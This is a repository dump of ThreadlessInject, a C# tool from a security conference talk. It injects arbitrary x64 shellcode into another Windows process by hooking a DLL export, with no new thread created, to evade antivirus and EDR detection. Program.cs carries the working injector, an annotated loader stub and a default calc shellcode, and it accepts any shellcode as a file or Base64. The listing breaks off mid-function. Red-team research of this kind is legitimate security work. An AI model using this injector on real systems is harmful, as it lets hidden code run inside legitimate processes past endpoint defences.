├── Needles without the Thread.pptx
├── ThreadlessInject
├── ThreadlessInject.csproj
├── ThreadlessInject.sln
├── Win32.cs
├── Program.cs
├── Native.cs
└── Options.cs
├── .github
└── FUNDING.yml
├── LICENSE.txt
├── README.md
├── .gitattributes
└── .gitignore
/Needles without the Thread.pptx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CCob/ThreadlessInject/HEAD/Needles without the Thread.pptx
--------------------------------------------------------------------------------
/ThreadlessInject/ThreadlessInject.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net48
6 | 10
7 |
8 |
9 |
10 | AnyCPU
11 |
12 |
13 |
14 | AnyCPU
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: CCob
4 | patreon: # Replace with a single Patreon username
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: # Replace with a single Ko-fi username
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
12 | polar: # Replace with a single Polar username
13 | buy_me_a_coffee: # Replace with a single Buy Me a Coffee username
14 | thanks_dev: # Replace with a single thanks.dev username
15 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
16 |
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) [year] [fullname]
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/ThreadlessInject/ThreadlessInject.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.32602.291
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ThreadlessInject", "ThreadlessInject.csproj", "{E6F8C98F-A620-4A14-A202-1BFA6210E013}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {E6F8C98F-A620-4A14-A202-1BFA6210E013}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {E6F8C98F-A620-4A14-A202-1BFA6210E013}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {E6F8C98F-A620-4A14-A202-1BFA6210E013}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {E6F8C98F-A620-4A14-A202-1BFA6210E013}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {749E9B97-CAEC-4F4B-9CDC-DEB655797D6D}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Threadless Process Injection
2 |
3 | From my Bsides Cymru 2023 talk: **[Needles Without the Thread](https://pretalx.com/bsides-cymru-2023-2022/talk/BNC8W3/)**.
4 |
5 | > As red teamers, we always find ourselves in a cat and mouse game with the blue team. Many Anti-virus and EDR solutions over the past 10 years have become significantly more advanced at detecting fileless malware activity in a generic way.
6 | >
7 | > Process injection, a technique used for executing code from within the address space of another process is a common method within the offensive operator’s toolbox. Commonly used to mask activity within legitimate processes such as browsers and instant messaging clients already running on the target workstation.
8 | >
9 | > Within the last 2 years, tools such as Sysmon have added new detections and events for process injection along with big improvements in detections within commercial EDR space.
10 | > With this in mind, a new method of injection was researched that would not fall foul to the traditional methods that are often detected today.
11 |
12 | ## Possible Improvements
13 |
14 | - [x] Use more covert allocation and write primitives.
15 | - [ ] Use patchless hooking via debugger attachment and hardware breakpoints [(https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock)](https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/).
16 | - [ ] Avoid RWX on hooked function. Hook assembly will need to handle VirtualProtect calls.
17 | - [ ] Support any DLL via remote module enumeration.
18 |
--------------------------------------------------------------------------------
/ThreadlessInject/Win32.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace ThreadlessInject;
5 |
6 | public static class Win32
7 | {
8 | [DllImport("kernel32.dll", SetLastError = true)]
9 | [return: MarshalAs(UnmanagedType.Bool)]
10 | public static extern bool CloseHandle(IntPtr hObj);
11 |
12 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
13 | public static extern IntPtr GetProcAddress(
14 | IntPtr hModule,
15 | string procName);
16 |
17 | [Flags]
18 | public enum ProcessAccess : uint
19 | {
20 | None = 0,
21 | Terminate = 0x0001,
22 | CreateThread = 0x0002,
23 | SetSessionId = 0x0004,
24 | VmOperation = 0x0008,
25 | VmRead = 0x0010,
26 | VmWrite = 0x0020,
27 | DupHandle = 0x0040,
28 | CreateProcess = 0x0080,
29 | SetQuota = 0x0100,
30 | SetInformation = 0x0200,
31 | QueryInformation = 0x0400,
32 | SuspendResume = 0x0800,
33 | QueryLimitedInformation = 0x1000,
34 | SetLimitedInformation = 0x2000,
35 | AllAccess = 0x1FFFFF
36 | }
37 |
38 | [Flags]
39 | public enum MemoryAllocation : uint
40 | {
41 | Commit = 0x1000,
42 | Reserve = 0x2000,
43 | Reset = 0x80000,
44 | ResetUndo = 0x1000000,
45 | LargePages = 0x20000000,
46 | Physical = 0x400000,
47 | TopDown = 0x100000,
48 | WriteWatch = 0x200000,
49 | CoalescePlaceholders = 0x1,
50 | PreservePlaceholder = 0x2,
51 | Decommit = 0x4000,
52 | Release = 0x8000
53 | }
54 |
55 | [Flags]
56 | public enum MemoryProtection : uint
57 | {
58 | PageNoAccess = 0x01,
59 | Readonly = 0x02,
60 | ReadWrite = 0x04,
61 | WriteCopy = 0x08,
62 | Execute = 0x10,
63 | ExecuteRead = 0x20,
64 | ExecuteReadWrite = 0x40,
65 | ExecuteWriteCopy = 0x80,
66 | Guard = 0x100,
67 | NoCache = 0x200,
68 | WriteCombine = 0x400,
69 | TargetsInvalid = 0x40000000,
70 | TargetsNoUpdate = 0x40000000
71 | }
72 | }
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
364 |
365 | #JetBrains
366 | .idea/
367 | ThreadlessInject/Properties/launchSettings.json
368 |
--------------------------------------------------------------------------------
/ThreadlessInject/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Threading;
7 |
8 | using Mono.Options;
9 |
10 | namespace ThreadlessInject;
11 |
12 | using static Native;
13 | using static Win32;
14 |
15 | internal static class Program
16 | {
17 | //x64 calc shellcode function with ret as default if no shellcode supplied
18 | private static readonly byte[] CalcX64 =
19 | {
20 | 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
21 | 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
22 | 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
23 | 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
24 | 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
25 | 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
26 | 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
27 | 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
28 | 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
29 | };
30 |
31 | private static readonly byte[] ShellcodeLoader =
32 | {
33 | 0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x48, 0xB9,
34 | 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC, 0x40, 0xE8, 0x11, 0x00,
35 | 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF,
36 | 0xE0, 0x90
37 | };
38 |
39 | private static IntPtr GetModuleHandle(string dll)
40 | {
41 | using var self = Process.GetCurrentProcess();
42 |
43 | foreach (ProcessModule module in self.Modules)
44 | {
45 | if (!module.ModuleName.Equals(dll, StringComparison.OrdinalIgnoreCase))
46 | continue;
47 |
48 | return module.BaseAddress;
49 | }
50 |
51 | return IntPtr.Zero;
52 | }
53 |
54 | private static void GenerateHook(long originalInstructions)
55 | {
56 | // This function generates the following shellcode.
57 | // The hooked function export is determined by immediately popping the return address and subtracting by 5 (size of relative call instruction)
58 | // Original function arguments are pushed onto the stack to restore after the injected shellcode is executed
59 | // The hooked function bytes are restored to the original values (essentially a one time hook)
60 | // A relative function call is made to the injected shellcode that will follow immediately after the stub
61 | // Original function arguments are popped off the stack and restored to the correct registers
62 | // A jmp back to the original unpatched export restoring program behavior as normal
63 | //
64 | // This shellcode loader stub assumes that the injector has left the hooked function RWX to enable restoration,
65 | // the injector can then monitor for when the restoration has occured to restore the memory back to RX
66 |
67 | /*
68 | start:
69 | 0: 58 pop rax
70 | 1: 48 83 e8 05 sub rax,0x5
71 | 5: 50 push rax
72 | 6: 51 push rcx
73 | 7: 52 push rdx
74 | 8: 41 50 push r8
75 | a: 41 51 push r9
76 | c: 41 52 push r10
77 | e: 41 53 push r11
78 | 10: 48 b9 88 77 66 55 44 movabs rcx,0x1122334455667788
79 | 17: 33 22 11
80 | 1a: 48 89 08 mov QWORD PTR [rax],rcx
81 | 1d: 48 83 ec 40 sub rsp,0x40
82 | 21: e8 11 00 00 00 call shellcode
83 | 26: 48 83 c4 40 add rsp,0x40
84 | 2a: 41 5b pop r11
85 | 2c: 41 5a pop r10
86 | 2e: 41 59 pop r9
87 | 30: 41 58 pop r8
88 | 32: 5a pop rdx
89 | 33: 59 pop rcx
90 | 34: 58 pop rax
91 | 35: ff e0 jmp rax
92 | shellcode:
93 | */
94 |
95 | using var writer = new BinaryWriter(new MemoryStream(ShellcodeLoader));
96 | //Write the original 8 bytes that were in the original export prior to hooking
97 | writer.Seek(0x12, SeekOrigin.Begin);
98 | writer.Write(originalInstructions);
99 | writer.Flush();
100 | }
101 |
102 | private static ulong FindMemoryHole(IntPtr hProcess, ulong exportAddress, int size)
103 | {
104 | ulong remoteLoaderAddress;
105 | var foundMemory = false;
106 |
107 | for (remoteLoaderAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000;
108 | remoteLoaderAddress < exportAddress + 0x70000000;
109 | remoteLoaderAddress += 0x10000)
110 | {
111 | var status = AllocateVirtualMemory(hProcess, remoteLoaderAddress, size);
112 | if (status != NTSTATUS.Success)
113 | continue;
114 |
115 | foundMemory = true;
116 | break;
117 | }
118 |
119 | return foundMemory ? remoteLoaderAddress : 0;
120 | }
121 |
122 | private static byte[] ReadPayload(string path)
123 | {
124 | if (File.Exists(path))
125 | {
126 | return File.ReadAllBytes(path);
127 | }
128 |
129 | Console.WriteLine("[=] Shellcode argument doesn't appear to be a file, assuming Base64");
130 | return Convert.FromBase64String(path);
131 | }
132 |
133 | private static byte[] LoadShellcode(string path)
134 | {
135 | byte[] shellcode;
136 |
137 | if (path == null)
138 | {
139 | Console.WriteLine("[=] No shellcode supplied, using calc shellcode");
140 | shellcode = CalcX64;
141 | }
142 | else
143 | {
144 | shellcode = ReadPayload(path);
145 | }
146 |
147 | return shellcode;
148 | }
149 |
150 | public static void Main(string[] args)
151 | {
152 | var showHelp = false;
153 | string shellcodeStr = null;
154 | string dll = null;
155 | string export = null;
156 | var pid = 0;
157 |
158 | var optionSet = new OptionSet()
159 | .Add("h|help", "Display this help", v => showHelp = v != null)
160 | .Add("x=|shellcode=", "Path/Base64 for x64 shellcode payload (default: calc launcher)",
161 | v => shellcodeStr = v)
162 | .Add("p=|pid=", @"Target process ID to inject", v => pid = v)
163 | .Add("d=|dll=", "The DLL that that contains the export to patch (must be KnownDll)", v => dll = v)
164 | .Add("e=|export=", "The exported function that will be hijacked", v => export = v);
165 |
166 | try
167 | {
168 | optionSet.Parse(args);
169 |
170 | if (dll == null || pid == 0 || export == null)
171 | {
172 | Console.WriteLine("[!] pid, dll and export arguments are required");
173 | showHelp = true;
174 | }
175 |
176 | if (showHelp)
177 | {
178 | optionSet.WriteOptionDescriptions(Console.Out);
179 | return;
180 | }
181 |
182 | }
183 | catch (Exception e)
184 | {
185 | Console.WriteLine($"[!] Failed to parse arguments: {e.Message}");
186 | optionSet.WriteOptionDescriptions(Console.Out);
187 | return;
188 | }
189 |
190 | var hModule = GetModuleHandle(dll);
191 |
192 | if (hModule == IntPtr.Zero)
193 | hModule = LoadLibrary(dll);
194 |
195 | if (hModule == IntPtr.Zero)
196 | {
197 | Console.WriteLine($"[!] Failed to open handle to DLL {dll}, is the KnownDll loaded?");
198 | return;
199 | }
200 |
201 | var exportAddress = GetProcAddress(hModule, export);
202 | if (exportAddress == IntPtr.Zero)
203 | {
204 | Console.WriteLine($"[!] Failed to find export {export} in {dll}, are you sure it's correct?");
205 | return;
206 | }
207 |
208 | Console.WriteLine($"[=] Found {dll}!{export} @ 0x{exportAddress.ToInt64():x}");
209 |
210 | var status = OpenProcess(pid, out var hProcess);
211 | if (status != 0 || hProcess == IntPtr.Zero)
212 | {
213 | Console.WriteLine($"[!] Failed to open PID {pid}: {status}.");
214 | return;
215 | }
216 |
217 | Console.WriteLine($"[=] Opened process with id {pid}");
218 |
219 | var shellcode = LoadShellcode(shellcodeStr);
220 |
221 | var loaderAddress = FindMemoryHole(
222 | hProcess,
223 | (ulong)exportAddress,
224 | ShellcodeLoader.Length + shellcode.Length);
225 |
226 | if (loaderAddress == 0)
227 | {
228 | Console.WriteLine("[!] Failed to find a memory hole with 2G of export address, bailing");
229 | return;
230 | }
231 |
232 | Console.WriteLine($"[=] Allocated loader and shellcode at 0x{loaderAddress:x} within PID {pid}");
233 |
234 | var originalBytes = Marshal.ReadInt64(exportAddress);
235 | GenerateHook(originalBytes);
236 |
237 | ProtectVirtualMemory(
238 | hProcess,
239 | exportAddress,
240 | 8,
241 | MemoryProtection.ExecuteReadWrite,
242 | out var oldProtect);
243 |
244 | var relativeLoaderAddress = (int)(loaderAddress - ((ulong)exportAddress + 5));
245 | var callOpCode = new byte[] { 0xe8, 0, 0, 0, 0 };
246 |
247 | using var ms = new MemoryStream(callOpCode);
248 | using var br = new BinaryWriter(ms);
249 | br.Seek(1, SeekOrigin.Begin);
250 | br.Write(relativeLoaderAddress);
251 |
252 | status = WriteVirtualMemory(
253 | hProcess,
254 | exportAddress,
255 | callOpCode,
256 | out var bytesWritten);
257 |
258 | if (status != NTSTATUS.Success || (int)bytesWritten != callOpCode.Length)
259 | {
260 | Console.WriteLine($"[!] Failed to write callOpCode: {status}");
261 | return;
262 | }
263 |
264 | var payload = ShellcodeLoader.Concat(shellcode).ToArray();
265 | //WriteProcessMemory(hProcess, (IntPtr)loaderAddress, payload, payload.Length, out _);
266 |
267 | status = ProtectVirtualMemory(
268 | hProcess,
269 | (IntPtr)loaderAddress,
270 | (uint)payload.Length,
271 | MemoryProtection.ReadWrite,
272 | out oldProtect);
273 |
274 | if (status != NTSTATUS.Success)
275 | {
276 | Console.WriteLine($"[!] Failed to unprotect 0x{loaderAddress:x}");
277 | return;
278 | }
279 |
280 | status = WriteVirtualMemory(
281 | hProcess,
282 | (IntPtr)loaderAddress,
283 | payload,
284 | out bytesWritten);
285 |
286 | if (status != NTSTATUS.Success || (int)bytesWritten != payload.Length)
287 | {
288 | Console.WriteLine($"[!] Failed to write payload: {status}");
289 | return;
290 | }
291 |
292 | status = ProtectVirtualMemory(
293 | hProcess,
294 | (IntPtr)loaderAddress,
295 | (uint)payload.Length,
296 | oldProtect,
297 | out _);
298 |
299 | if (status != NTSTATUS.Success)
300 | {
301 | Console.WriteLine($"[!] Failed to protect 0x{loaderAddress:x}");
302 | return;
303 | }
304 |
305 | var timer = new Stopwatch();
306 | timer.Start();
307 | var executed = false;
308 |
309 | Console.WriteLine("[+] Shellcode injected, Waiting 60s for the hook to be called");
310 |
311 | while (timer.Elapsed.TotalSeconds < 60)
312 | {
313 | var bytesToRead = 8;
314 | var buf = Marshal.AllocHGlobal(bytesToRead);
315 |
316 | ReadVirtualMemory(
317 | hProcess,
318 | exportAddress,
319 | buf,
320 | (uint)bytesToRead,
321 | out var bytesRead);
322 |
323 | var temp = new byte[bytesRead];
324 | Marshal.Copy(buf, temp, 0, bytesToRead);
325 | var currentBytes = BitConverter.ToInt64(temp, 0);
326 |
327 | if (originalBytes == currentBytes)
328 | {
329 | executed = true;
330 | break;
331 | }
332 |
333 | Thread.Sleep(1000);
334 | }
335 |
336 | timer.Stop();
337 |
338 | if (executed)
339 | {
340 | ProtectVirtualMemory(
341 | hProcess,
342 | exportAddress,
343 | 8,
344 | oldProtect,
345 | out _);
346 |
347 | FreeVirtualMemory(
348 | hProcess,
349 | (IntPtr)loaderAddress);
350 |
